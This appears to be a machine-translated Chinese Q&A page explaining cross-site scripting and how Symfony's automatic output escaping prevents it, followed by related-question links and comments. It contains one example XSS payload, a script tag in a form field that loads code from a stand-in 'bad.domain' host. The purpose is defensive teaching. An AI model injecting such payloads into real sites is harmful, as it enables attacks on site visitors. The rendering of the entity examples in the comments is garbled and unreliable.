回答
XSS或Cross Site Scripting是當別人獲得他們的JavaScript來由您的服務器提供服務。例如,如果您可以從google.com獲得隨機的javascript,那麼您可以讓該JavaScript向您發送所有Google知道的信息,並向其提供服務。
避免可能來自用戶(而不是來自服務器/內容作者)的這些數據具有角括號和其他類似HTML的內容,因此它們不會被最終用戶執行。
XSS是「跨站點腳本」的縮寫。如果您設法將腳本(通常是javascript)隱藏到其他人的網站上,並且可以惡意運行,則會發生跨站點腳本攻擊。
當用戶輸入到網站時,XSS是可能的。例如,如果我填寫了網絡表單,並且詢問了我的姓名,我可以輸入My name is <script src="http://bad.domain/evilscript.js"></script>
。如果我提交表單,然後在下一頁上要求我確認我的詳細信息,並且重新輸出我輸入的內容,則我輸入的令人討厭的HTML標記將得到呈現,並且腳本將被瀏覽器下載並運行。
爲了防止這種情況,您需要轉義用戶輸入。轉義意味着您轉換(或標記)數據的關鍵字符以防止它在危險的情況下被解釋。在HTML輸出的情況下,您需要轉換<
和>
字符(以及其他字符),以防止呈現任何有害的HTML。轉義這些字符涉及將它們轉換爲它們的實體對等<
和>
(請參閱PHP的htmlspecialchars()函數),它不會被瀏覽器解釋爲HTML標記。
Symfony試圖告訴您的是,它有能力自動爲您的輸出執行此操作,並啓用該功能。
請注意,轉義取決於上下文。請參閱http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet,尤其是XSS預防規則 – Erlend 2010-01-31 10:54:34
- 1. Json.Net Wrapper防止Xss攻擊
- 2. angularjs防止XSS攻擊
- 3. PHP:如何完全防止XSS攻擊?
- 4. 防止WCF調用中的XSS攻擊
- 5. XSS攻擊防範
- 6. XSS攻擊防護
- 7. 如何在使用window.location.toString()時防止XSS攻擊
- 8. 防止SQL注入和XSS攻擊
- 9. 防止Magento中的XSS攻擊
- 10. 如何防止Grails的應用XSS攻擊
- 11. HTML-Entity轉義防止XSS
- 12. 使用Javascript的CreateElement時防止XSS攻擊
- 13. 使用PHP來防止圖像內的XSS攻擊
- 14. 如何防止XXE攻擊
- 15. 如何防止在src等屬性中發生XSS攻擊?
- 16. 如何清理Java中的HTML代碼以防止XSS攻擊?
- 17. 轉義< and >足以阻止XSS攻擊嗎?
- 18. 如何避免XSS攻擊
- 19. 預防XSS攻擊的新方法
- 20. 存儲生成的HTML並防止Rails 3中的XSS攻擊
- 21. 防止XSLT生成的內容中的XSS(和其他攻擊)
- 22. 輕鬆防止XSS或JavaScript相關的攻擊
- 23. 我需要在HTML標籤屬性,以防止XSS攻擊
- 24. 防止PHP中的URL編碼XSS攻擊
- 25. HTML編碼能夠防止各種XSS攻擊嗎?
- 26. 使用MVC防止Url操縱攻擊?
- 27. 自動轉義,以防止XSS
- 28. Java 5 HTML轉義防止XSS
- 29. 如何防止重播攻擊?
- 30. 如何防止暴力攻擊?
你的意思是把'<'改成'"'等等? – user261527 2010-01-29 03:42:36
您不會將'<'更改爲'"'。你會把它改成'<'。 – 2010-01-29 03:46:57
是的,將重要的元字符更改爲顯示正確字形的實體,但沒有相同的處理效果。 – 2010-01-29 04:10:19